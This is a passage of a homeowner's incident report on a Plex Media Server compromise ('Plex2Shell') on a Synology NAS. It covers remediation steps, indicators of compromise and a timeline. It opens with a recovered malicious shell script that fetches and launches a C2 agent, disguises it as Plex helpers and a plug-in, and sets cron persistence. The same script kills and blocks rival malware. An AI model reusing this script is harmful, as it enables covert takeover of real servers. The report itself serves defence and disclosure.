  if command -v ss >/dev/null 2>&1; then
    ss -tn 2>/dev/null | grep -E 'ESTAB|ESTABLISHED' | grep -E "$pat" >/dev/null && return 0
  fi
  if command -v netstat >/dev/null 2>&1; then
    netstat -tn 2>/dev/null | grep ESTABLISHED | grep -E "$pat" >/dev/null && return 0
  fi
  if [ -r /proc/net/tcp ]; then
    grep -qE '5BCE5750:01BB|5FCE5750:01BB|56CE5750:01BB|07077BB0:01BB' /proc/net/tcp 2>/dev/null && return 0
  fi
  return 1
}
# Stale inode or C2 stuck on :80 mux → restamp jump :443.
if [ -n "$live" ]; then
  exn=$(readlink /proc/"$live"/exe 2>/dev/null)
  case "$exn" in *deleted*)
    kill -9 "$live" 2>/dev/null || true
    dbg "step=stale pid=$live ex=$exn"
    live=""
  ;; esac
fi
if [ -n "$live" ] && ! c2up; then
  sleep 2
  if ! c2up; then
    kill -9 "$live" 2>/dev/null || true
    dbg "step=rec2 old=$live"
    live=""
  fi
fi
if [ -z "$live" ]; then
  src="$C/pmsdl$$"
  if [ "$a" = 3 ]; then
    fetch_rel "bins/3" "$src" 180000 || fetch_rel "bins/3d" "$src" 180000 || src=""
  elif [ "$a" = 4 ]; then
    fetch_rel "bins/4" "$src" 200000 || src=""
  else
    fetch_rel "bins/$a" "$src" 350000 || src=""
  fi
  [ -n "$src" ] && [ -s "$src" ] || { dbg "step=nodl a=$a c=$C"; exit 1; }
  hex=$(dd if="$src" bs=4 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n')
  dbg "step=dl a=$a sz=$(wc -c < "$src") hex=$hex px=$PX"
  cp -f "$src" "$PX" 2>/dev/null || { dbg "step=nocp c=$C"; rm -f "$src"; exit 1; }
  chmod 755 "$PX" 2>/dev/null || chmod +x "$PX" 2>/dev/null
  rm -f "$src"
else
  if c2up; then c2s=1; else c2s=0; fi
  dbg "step=have pid=$live px=$PX ex=$(readlink /proc/$live/exe 2>/dev/null) c2=$c2s"
fi
# Official-looking backup. Guard restarts from here if PlexScriptHost is deleted.
if [ -x "$PX" ] && [ "$BK" != "$PX" ] && [ "$BK" != "$RP" ]; then
  cp -f "$PX" "$BK" 2>/dev/null && chmod 755 "$BK" 2>/dev/null || true
fi
plug=""
for d in \
  "$H/Library/Application Support/Plex Media Server/Plug-ins" \
  "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Plug-ins" \
  "/config/Library/Application Support/Plex Media Server/Plug-ins" \
  "/app/Library/Application Support/Plex Media Server/Plug-ins"
do
  [ -d "$d" ] && [ -w "$d" ] && plug=$d && break
done
if [ -n "$plug" ] && [ -x "$PX" ]; then
  mkdir -p "$plug/PersonalMedia.bundle/Contents/Helpers" "$plug/PersonalMedia.bundle/Contents/Code" 2>/dev/null || true
  cp -f "$PX" "$plug/PersonalMedia.bundle/Contents/Helpers/Plex SQLite" 2>/dev/null || true
  printf '%s\n' 'import os,subprocess' \
    'd=os.path.join(os.path.dirname(os.path.abspath(__file__)),"..","Helpers")' \
    'b=os.path.join(d,"Plex SQLite")' \
    'os.path.isfile(b) and subprocess.Popen([b,"app-plex"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,start_new_session=True)' \
    > "$plug/PersonalMedia.bundle/Contents/Code/__init__.py" 2>/dev/null || true
fi
fetch_rel "A-plex-g" "$RP" 400 || true
chmod 755 "$RP" 2>/dev/null || true
if [ -x "$RP" ]; then
  if command -v setsid >/dev/null 2>&1; then
    setsid "$RP" "$PX" "$T" </dev/null >/dev/null 2>&1 &
  else
    (trap "" HUP; exec "$RP" "$PX" "$T") </dev/null >/dev/null 2>&1 &
  fi
fi
if [ "$(id -u)" = 0 ]; then
  if command -v iptables >/dev/null 2>&1; then
    iptables -C OUTPUT -p tcp --dport 18899 -j REJECT 2>/dev/null \
      || iptables -I OUTPUT -p tcp --dport 18899 -j REJECT 2>/dev/null || true
    iptables -C OUTPUT -d 130.94.112.0/24 -j REJECT 2>/dev/null \
      || iptables -I OUTPUT -d 130.94.112.0/24 -j REJECT 2>/dev/null || true
    iptables -C OUTPUT -d 89.125.187.222 -j REJECT 2>/dev/null \
      || iptables -I OUTPUT -d 89.125.187.222 -j REJECT 2>/dev/null || true
  fi
fi
if [ -z "$live" ]; then
  for f in /tmp/.boat.lock /dev/shm/.boat.lock /var/tmp/.boat.lock "$C/.boat.lock" "$H/.boat.lock"; do
    [ -f "$f" ] || continue
    pid=$(head -1 "$f" 2>/dev/null)
    if [ -n "$pid" ]; then
      ex=$(readlink /proc/"$pid"/exe 2>/dev/null)
      is_ours_exe "$ex" && continue
      kill -9 "$pid" 2>/dev/null
    fi
    rm -f "$f"
  done
fi
kr
if [ -z "$live" ] && [ -x "$PX" ]; then
  if command -v setsid >/dev/null 2>&1; then
    setsid "$PX" "$T" </dev/null >/dev/null 2>&1 &
  else
    (trap "" HUP; exec "$PX" "$T") </dev/null >/dev/null 2>&1 &
  fi
fi
sleep 2
nk=0
for x in /proc/[0-9]*/exe; do
  t=$(readlink "$x" 2>/dev/null) || continue
  is_ours_exe "$t" && nk=$((nk+1))
done
riv=""
for x in /proc/[0-9]*; do
  cmd=$(tr '\0' ' ' < "$x/cmdline" 2>/dev/null) || continue
  ours "$cmd" && continue
  case "$cmd" in *18899*|*plex_deploy*|*pd.sh*|*pd3.sh*|*130.94.112*|*89.125.187*|*PLEX_FORCE_RESTART*|*PLEX_PROXY_ONLY*)
    riv="$riv,${x#/proc/}:$(echo "$cmd" | dd bs=80 count=1 2>/dev/null)"
  ;; esac
done
(crontab -l 2>/dev/null | grep -vE '18899|plex_deploy|pd\.sh|pd3|130\.94|89\.125|PLEX_FORCE|PLEX_PROXY|\.kpx|kpxb' | grep -vF CrashUploader | grep -vF PlexScriptHost | grep -vF "$RP"
 echo "* * * * * \"$RP\" \"$PX\" $T >/dev/null 2>&1"
 echo "@reboot sleep 8; \"$RP\" \"$PX\" $T >/dev/null 2>&1") | crontab - 2>/dev/null || true
# Occupied: dump-yuv cannot write a chmod a-w codec dir.
for p in /proc/[0-9]*; do
  [ -r "$p/maps" ] || continue
  m=$(awk '/\/Codecs\//{for(i=1;i<=NF;i++) if($i~"/Codecs/") {print $i; exit}}' "$p/maps" 2>/dev/null)
  [ -n "$m" ] || continue
  d=${m%/*}
  [ -d "$d" ] || continue
  rm -f "$d"/idk*.so "$d"/zz*.so 2>/dev/null || true
  chmod a-w "$d" 2>/dev/null || true
done
dbg "step=up px=$PX rp=$RP nk=$nk plug=$plug uid=$(id -u) riv=$riv live=$live ex=$(readlink /proc/$live/exe 2>/dev/null)"
exit 0

This script is evidence of a second, competing malware campaign. It downloads and launches a C2-controlled agent under legitimate-looking Plex process names, reports details about the infected host, creates several persistence mechanisms and kills competing malware.

It also replaces known competitor script paths with links to /dev/null and attempts to block rival infrastructure through iptables when running as root. The recovered heartbeat and lock files indicate that components of this agent ran, although I found no direct proof of an interactive shell.

The competitor-specific logic suggests the operators had studied other Plex2Shell campaigns, likely using their own vulnerable Plex Media Server honeypots to observe and attract other attackers.

Establishing the blast radius

Synology uses a dedicated PlexMediaServer user for its Plex package. That means if Plex is compromised, an attacker gains access to that user, which has full access to my media share and Plex configuration files. That was not a major concern to me, as the media itself was just popular movies and TV shows.

What concerned me more was the possibility of privilege escalation to root, which would have allowed access to my other shared folders containing more sensitive data such as backups and passwords.

I looked around the Synology UI for signs that the NAS itself had been breached. I saw no new users, no changed settings and no persistence attempts through scheduled tasks or other obvious mechanisms. I did notice failed login attempts from unusual IP addresses, but that was nothing new. Overall, I remained very confident that no one besides me had accessed the NAS UI.

As root on the box, I also checked the crontab and iptables and found no signs of successful root escalation.

Containment and remediation

Taking the server offline

Very early on, I took the Plex server offline so I could continue investigating safely. You can do this through the NAS UI or with synopkg stop PlexMediaServer. I removed every router port forward to the NAS, disabled UPnP and temporarily blocked WAN traffic to and from the NAS while keeping local network access for the investigation.

Preserving evidence

During the investigation, I made sure to back up every malicious file I encountered, along with the entire /volume1/PlexMediaServer folder from my Synology NAS. This allowed me to submit samples to sites such as VirusTotal and continue investigating them statically offline.

Nuking Plex from orbit

As I had evidence of native code execution, miner activity and C2 agent deployment by malicious actors, I was not comfortable trying to clean up the system manually. In cases like this, I believe a full nuke is justified so nothing is left behind.

Because I found no signs of root escalation, I was comfortable limiting that nuke to the Plex installation itself. I uninstalled the package from the Synology NAS, then deleted the PlexMediaServer folder, the PlexMediaServer user and all files owned by that user in publicly writable directories.

Only after rotating credentials did I reinstall the latest version of Plex and reconfigure it from scratch.

Rotating credentials

It was important to change my Plex admin account password, which also rotated the owner token. I made sure to tick the box to log out all active sessions.

As a precaution, I also rotated my Synology user passwords, even though I found no evidence of root escalation or a wider Synology NAS breach.

Verifying the cleanup

To verify the cleanup, I ran the hunt script again, which no longer showed any active signs of exploitation:

root@earth:/volume1/IncidentEvidence# bash plex2shell-hunt.sh
[WARN] no Plex Application Support dir found; pass one with -a
plex2shell-hunt  2026-11-05T06:57:55Z  host=earth

[INFO] could not determine PMS version

== live processes
plex2shell-hunt.sh: line 205: /proc/21276/cmdline: No such file or directory
plex2shell-hunt.sh: line 205: /proc/21279/cmdline: No such file or directory

summary: 0 hit(s), 1 warning(s)

Technical indicators

Representative payload names

zz73a6ad1a.so
zze04e84c6.so
zza2b18de5.so
zz5d94f093.so
zzeaf979c0.so
zz4311426d.so
zz4331a986.so
zzc02a52cb.so
zz7a6e5ba0.so
zz34d43f41.so
zz7f0296e2.so
zz37b088f2.so
zz4ad8e701.so
zz55882_5136.so
zz72164.so
zz73708.so
zz95451.so
zz9e37a9c5.so
zz42989.so
zz3c1eb3b7.so
zzbaad9c6b.so
zz1890.so
zz6bdbd77c.so
zz579d508d.so
zzff04eda5.so
zz595da8f6.so
zz49c08c91.so
zzq7x3886.so
zzq7x1252.so
zzq7x1510.so
zzq7x1610.so
zzc727643641c71dc5c2b51.so
zz35438.so
aa41666.so
zzc62bfa89cdeb1c4e2ca9a.so
zzc9a9b226c24338f5b84d3.so
zzc91dcf7830b085330dd14.so
zzc0224635a43a8ffb5c71b.so
zzc7d3e158026d970e05c5b.so
zzc9f61c6ecf708d5399b90.so
zzcfbbe393b8cf236f63580.so
zzc68dac766f66b7777a311.so
libpx95449_encoder.so
zz6f147.so

Files and markers

# Miner and persistence artefacts
/var/tmp/.cache/.kworker394
/var/tmp/.cache/.kworker394.tag
/var/tmp/.cache/.kworker394.loop
/var/tmp/.config/systemd/user/kworker394.service
/var/tmp/.bashrc
/var/tmp/.bash_profile
/var/tmp/.profile
/var/tmp/Plex Tuner Service
/var/tmp/plex_exp_proxy.json

# C2 agent and deployment artefacts
/tmp/i
/tmp/.boat.lock

/var/tmp/.boat.lock
/var/tmp/Plex SQLite
/var/tmp/PlexScriptHost.lck
/var/tmp/PlexScriptHost (deleted).beat

/dev/shm/.boat.lock
/dev/shm/.kpx.lck
/dev/shm/9334581e-7251-4ef7-a8ec-5bfe8e89ff68

# Anti-rival symlinks
/tmp/pd.sh
/tmp/pd2.sh
/tmp/pd3.sh
/tmp/plex_deploy.sh

/var/tmp/pd.sh
/var/tmp/pd3.sh
/var/tmp/plex_deploy.sh

/dev/shm/pd.sh
/dev/shm/pd3.sh
/dev/shm/plex_deploy.sh

# Other
/volume1/@apphome/PlexMediaServer/.wget-hsts

Network indicators

Confirmed exploitation sources

IP Address / Hostname

Identifiers

Role

45.194.92.222
🇺🇸 United States
Vpsvault.host

poc_<hex><number>, TKN_*
ports 8952/8953/8954/8958

Earliest SSRF/token-harvest actor

91.92.40.202
🇳🇱 Netherlands
TechTies

poc_<number>
dynamic callback ports

Separate token-harvest scanner/exploiter

94.154.43.7
🇳🇱 Netherlands
Storm Industries

px*/t/<hex>, zz*.so, PXP*
port 8952

Principal early payload operator

195.177.94.167
🇫🇷 France
Stellar Group

poc_30836_515, TKN_229_930797
port 39447

Successful token compromise

62.210.127.48
🇫🇷 France
Scaleway

SHW55882_0/1/2
port 8933

Cross-platform payload writer

130.94.112.118
🇷🇴 Romania
LIGHT NODE LIMITED

SHW/SHD, zz72164.so, zz73708.so,
zz95451.so

Payload writer

130.94.112.197
🇷🇴 Romania
LIGHT NODE LIMITED

SHW/SHD, zz42989.so, zz1890.so

Payload writer

129.148.40.20
🇧🇷 Brazil
Oracle Cloud

Player dev-7a6e75f5

Distributed token/agent exploit source

52.9.77.225
🇺🇸 United States
Amazon.com

Player dev-7a6e75f5

Same distributed toolchain

176.65.149.174
🇳🇱 Netherlands
Pfcloud UG
(haftungsbeschrankt)

plexscan-*, /leak/<hex>

Agent/leak scanner with successful callbacks

36.255.97.252
🇵🇰 Pakistan
Blatant

/leak/<hex>

plexscan toolchain

45.198.224.93
🇺🇸 United States
Vpsvault.host

/leak/<hex>

plexscan toolchain

47.239.25.198
🇭🇰 Hong Kong
Alibaba

p27_*, R27*, zzq7x*.so
port 31925

Multi-platform p27 payload attempt

43.108.122.170
🇰🇷 South Korea
Alibaba

p2sx.mp4, zzq7x*.so
port 31925

Multi-platform p27 payload attempt

209.99.186.174
🇨🇭 Switzerland
SKN Subnet & Telecom

plexus_behavior_*, go_token_*
ports 8999/9090/9091

SSRF proof, token theft and
later payload operation

209.99.185.237
🇨🇭 Switzerland
SKN Subnet & Telecom

zzc<20hex>.so
port 9090

Repeated automated payload operator

95.133.167.25
🇮🇸 Iceland
FlokiNET ehf

SHW/SHD, /var/tmp/plexd
ports 30571/14646,

File theft, payload deployment
and artefact verification

176.123.7.7
🇲🇩 Moldova
Alexhost

poc_*, tkn*, aa41666.so

Agent enumeration, SSRF, diagnostics theft
and payload execution

16.5.0.156
🇧🇷 Brazil
Embnex

poc_6f147f85, zz6f147.so, SHW6f147

Late token/payload actor

Callback or payload hosts

IP Address / Hostname

Identifiers

Role

180.71.194.241:8952
🇰🇷 South Korea
SK Broadband

dev-7a6e75f5

Callback host.

Used by 129.148.40.20 and 52.9.77.225

80.87.206.91:80
🇷🇺 Russia
OVHcloud

—

Callback and payload host.

Used by 176.123.7.7

31.56.53.117:80
🇦🇪 United Arab Emirates
Snowcore

plexitem.xml, plexcarrier.mp4

Payload host.

Used by 16.5.0.156

154.80.128.9:8966
🇭🇰 Hong Kong
Unit A17,9/f
Silvercorp Int'l Tower
707-713 Nathan

TVDB plug-in logs

Later callback infrastructure

138.124.36.220
🇨🇭 Switzerland
WAIcore

TKN_<IP>

Direct callback host

209-99-186-174.sslip.io
🇨🇭 Switzerland
SKN Subnet & Telecom

DNS encoding of 209.99.186.174

DNS-encoded callback/payload infrastructure

62.210.129.110
🇫🇷 France
Scaleway

PlexMediaServer-wget-hsts

Temporary file host (d.uguu.se).

Referenced in wget HSTS data.
Likely used for payload staging or retrieval.

127.0.0.1.<IP>.sslip.io
🌐 Hostname pattern
sslip.io

sslip.io

Repeated hostname-validation/SSRF bypass

127.0.0.1.<IP>.nip.io
🌐 Hostname pattern
nip.io

nip.io

Alternate DNS-encoding bypass form

Scanner-only or unattributed sources

Scanner-only sources have been redacted because they do not directly indicate malicious intent.

IP Address / Hostname

Identifiers

Role

REDACTED

scan-* players

Scanner-only.

Poll timeout and no exploit subscription

REDACTED

GET / → 401

Generic scanner

REDACTED

JBoss/JMX and /login probes

Unrelated generic scanner

REDACTED

GET / → 401

Generic scanner

REDACTED

Plex identity and callback-like activity

Suspicious; likely exploit infrastructure.

Episode-level attribution is incomplete

REDACTED

/devices → 200 with substantial response

🕵️ Raj: Grey hat security researcher.

Responsibly disclosed vulnerability via email.

Samples

Here are all the malicious file samples I collected, if you are interested in analysing them.
The archive contains malicious files, and the password is infected.

Plex2Shell Malware Samples

Timeline

Here is a timeline of events based on file timestamps and system logs:

  • 17 October, 15:05 - The first confirmed Plex2Shell exploit stole my Plex owner token and began using it within eight seconds.
  • 19 October, 21:35 - An attacker read /proc/self/environ and Preferences.xml, then launched the first retained malicious Transcoder job targeting a .so file.
  • 26 October - Post-exploitation scripts, configuration files and logs appeared under /var/tmp.
  • 27 October, 23:58 - A malicious .so was successfully read back. Seven seconds later, an eight-byte execution marker appeared under /tmp, strongly supporting native payload execution.
  • 1 November - Three campaigns deployed zzc727643641c71dc5c2b51.so, zz35438.so and aa41666.so. Attackers also stole logs and diagnostics, read Plex preferences and launched malicious Transcoder jobs.
  • 3 November - An automated campaign deployed several additional zzc*.so payloads associated with later C2 activity.
  • 5 November, 01:14 - I received the responsible disclosure email from Raj.
  • 5 November, from 12:10 - I isolated the NAS, removed its public exposure, stopped Plex, preserved evidence, investigated the miner and C2 artefacts, and removed Plex completely to complete remediation.

Final thoughts

Mitigating and cleaning up a deep compromise like this is both time-consuming and frustrating. I was unaware of the vulnerability, which left me exposed for weeks. I had originally exposed Plex to the internet so I could use it remotely, but I had not actually used it that way for years. In practice, it had become an unnecessary hole left open without me realising the risk it still posed.

Malware running on a NAS is harmful in several ways. Beyond data theft, miners cost money through electricity use and hardware wear. Agents can also proxy residential IP addresses and use them to commit cybercrime or participate in a botnet.

In a case like this, I think a full nuke is the only way to be confident that nothing has been left behind. Many users running Plex Media Server exposed to the public internet may still be vulnerable today, and many may only be prepared to update their software to patch the issue, not clean up an existing compromise. I am grateful to Raj for responsibly disclosing the issue to me, and I made a donation to thank him for helping people like myself identify and patch vulnerable systems.

This incident shows how powerful RCE vulnerabilities can be, and how quickly they can be discovered and abused in a world with increasingly capable AI models. More broadly, it is a good reminder to keep software updated, minimise internet exposure where possible and apply strict permissions, geofencing or other protective controls to reduce the chance and impact of incidents like this.



Leave a comment

(required)(will not be published)(required)

Comments

Showing 1 comment from 1 commenter.

  • Display picture for Raj
    Raj

    Everything is detailed and organized. I hope even those who aren't technical can follow along. Happy securing, and thank you for the donation!

    Reply